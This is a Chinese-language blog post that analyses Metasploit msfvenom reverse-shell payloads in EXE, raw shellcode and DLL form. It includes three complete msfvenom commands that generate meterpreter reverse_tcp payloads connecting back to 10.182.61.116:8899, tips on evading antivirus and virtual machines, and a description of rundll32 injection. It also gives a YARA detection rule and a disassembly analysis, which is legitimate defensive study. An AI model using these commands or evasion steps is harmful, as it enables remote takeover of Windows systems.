msfvenom生成反弹shellpayload分析

2022-02-28  本文已影响0人  doinb1517

方案一:

直接使用msfvenom生成exe的反弹shell会被杀软直接拦截,可用性不高。

msfvenom -p windows/meterpreter/reverse_tcp lhost=10.182.61.116 lport=8899 -f exe -o re_shell.exe
01.png

防御

运行生成的re_shell.exe,查看流量,并编写Yara规则(Snort规则同理),此处提取的是meterpreter_loader的特征(https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/payload/windows/meterpreter_loader.rb)。

08.png

YARA规则如下:

rule Meterpreter_Reverse_Tcp :RAT{
meta:
description = "Detect Meterpreter Loader"
strings: 
$hex_string = {4d 5a e8 00 00 00 00 5b 52 45 55 89 e5 81 c3 ?? ?? 00 00 ff d3 81 c3 ?? ?? 02 00 89 3b 53 6a 04 50 ff d0}
condition: 
$hex_string 
}

方案二:

直接生成shellcode,再视情况灵活使用。

msfvenom -p windows/meterpreter/reverse_tcp lhost=10.182.61.116 lport=8899 -f raw -o re_shell.bin
02.png

比如可以使用shellcodeLoader生成攻击文件,可以选择加载方式和反虚拟机选项 增加杀软查杀难度。

03.png

方案三:

生成DLL文件,做DLL注入,DLL劫持等操作。

msfvenom -p windows/meterpreter/reverse_tcp lhost=10.182.61.116 lport=8899 -f dll -o re_shell.dll

使用IDA Pro打开生成的DLL文件,查看伪代码,创建了一个rundll32.exe进程,然后去做注入。通过控制线程上下文的EIP去执行shellcode,shellcode保存在unk_10003000

04.png

0x10003000处的shellcode提取,发现其实就是msfvenom生成的shellcode,只不过套了个dll的壳罢了。

05.png

可以将此部分shellcode保存为二进制文件,使用工具scdbg分析此部分shellcode功能。可以看到此shellcode实际上是调用WSASocket实现的联网行为。

06.png

也可以从MSF的shellcode生成源码中印证我们的判断。

07.png

源码链接

上一篇下一篇

猜你喜欢

热点阅读